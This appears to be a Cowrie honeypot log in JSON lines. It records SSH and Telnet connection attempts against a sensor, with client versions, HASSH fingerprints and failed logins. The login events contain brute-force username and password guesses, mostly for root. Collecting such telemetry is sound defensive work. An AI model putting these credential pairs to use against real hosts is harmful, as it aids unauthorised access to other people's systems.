{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49848,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8876fa0da6f","protocol":"ssh","message":"New connection: 213.209.159.158:49848 (10.17.0.5:22) [session: b8876fa0da6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:57.973027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:59.428839Z","src_ip":"213.209.159.158","session":"b8876fa0da6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:39:59.432544Z","src_ip":"213.209.159.158","session":"b8876fa0da6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":51692,"dst_ip":"10.17.0.5","dst_port":22,"session":"0506dd7e21f8","protocol":"ssh","message":"New connection: 101.47.156.21:51692 (10.17.0.5:22) [session: 0506dd7e21f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:02.310226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:02.318116Z","src_ip":"101.47.156.21","session":"0506dd7e21f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:02.565392Z","src_ip":"101.47.156.21","session":"0506dd7e21f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz123456..","message":"login attempt [root/Zz123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:03.584310Z","src_ip":"101.47.156.21","session":"0506dd7e21f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we!","message":"login attempt [root/we!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:04.737800Z","src_ip":"213.209.159.158","session":"b8876fa0da6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:04.840539Z","src_ip":"101.47.156.21","session":"0506dd7e21f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:07.275635Z","src_ip":"213.209.159.158","session":"b8876fa0da6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5afd242603e8","protocol":"ssh","message":"New connection: 213.209.159.158:53668 (10.17.0.5:22) [session: 5afd242603e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:07.375581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:08.640553Z","src_ip":"213.209.159.158","session":"5afd242603e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:08.648293Z","src_ip":"213.209.159.158","session":"5afd242603e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wsx11111","message":"login attempt [root/wsx11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:13.899117Z","src_ip":"213.209.159.158","session":"5afd242603e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":41856,"dst_ip":"10.17.0.5","dst_port":22,"session":"063d7e193f35","protocol":"ssh","message":"New connection: 103.176.20.57:41856 (10.17.0.5:22) [session: 063d7e193f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:14.808274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:14.818109Z","src_ip":"103.176.20.57","session":"063d7e193f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:15.081215Z","src_ip":"103.176.20.57","session":"063d7e193f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer11","message":"login attempt [root/qwer11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:15.857575Z","src_ip":"103.176.20.57","session":"063d7e193f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:17.116981Z","src_ip":"103.176.20.57","session":"063d7e193f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38442,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5641a625cd","protocol":"telnet","message":"New connection: 69.4.83.194:38442 (159.203.135.109:23) [session: 3e5641a625cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:30.141132Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":58054,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0ea086fafc6","protocol":"ssh","message":"New connection: 20.160.86.7:58054 (10.17.0.5:22) [session: e0ea086fafc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:31.574971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:31.579386Z","src_ip":"20.160.86.7","session":"e0ea086fafc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:31.665651Z","src_ip":"20.160.86.7","session":"e0ea086fafc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qf123456!","message":"login attempt [root/Qf123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:32.043749Z","src_ip":"20.160.86.7","session":"e0ea086fafc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:33.133708Z","src_ip":"20.160.86.7","session":"e0ea086fafc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":45866,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3c95602e593","protocol":"ssh","message":"New connection: 182.191.77.164:45866 (10.17.0.5:22) [session: b3c95602e593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:49.722636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:49.727744Z","src_ip":"182.191.77.164","session":"b3c95602e593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:49.968239Z","src_ip":"182.191.77.164","session":"b3c95602e593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali123","message":"login attempt [ali/ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:50.930344Z","src_ip":"182.191.77.164","session":"b3c95602e593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:52.168324Z","src_ip":"182.191.77.164","session":"b3c95602e593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50628,"dst_ip":"159.203.135.109","dst_port":23,"session":"b452f843ef07","protocol":"telnet","message":"New connection: 69.4.83.194:50628 (159.203.135.109:23) [session: b452f843ef07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:40:57.827616Z"}
{"eventid":"cowrie.session.closed","duration":35.3997642993927,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:05.540756Z","src_ip":"69.4.83.194","session":"3e5641a625cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":38370,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f43045bf43c","protocol":"ssh","message":"New connection: 94.159.98.239:38370 (159.203.135.109:22) [session: 9f43045bf43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:19.639737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:19.644310Z","src_ip":"94.159.98.239","session":"9f43045bf43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:19.769264Z","src_ip":"94.159.98.239","session":"9f43045bf43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9111961","message":"login attempt [root/9111961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:20.343538Z","src_ip":"94.159.98.239","session":"9f43045bf43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:21.533754Z","src_ip":"94.159.98.239","session":"9f43045bf43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.72707271575928,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:30.554586Z","src_ip":"69.4.83.194","session":"b452f843ef07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":54509,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab70559ecc22","protocol":"ssh","message":"New connection: 88.147.30.59:54509 (10.17.0.5:22) [session: ab70559ecc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:38.885135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:38.889853Z","src_ip":"88.147.30.59","session":"ab70559ecc22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:39.005632Z","src_ip":"88.147.30.59","session":"ab70559ecc22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:39.501387Z","src_ip":"88.147.30.59","session":"ab70559ecc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:40.617901Z","src_ip":"88.147.30.59","session":"ab70559ecc22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":50428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f86da34b6e2","protocol":"telnet","message":"New connection: 178.128.93.180:50428 (10.17.0.5:23) [session: 2f86da34b6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:40.961051Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":36082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bc0282f249d","protocol":"ssh","message":"New connection: 109.172.54.111:36082 (159.203.135.109:22) [session: 4bc0282f249d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:43.083298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:41:43.087146Z","src_ip":"109.172.54.111","session":"4bc0282f249d","protocol":"ssh"}
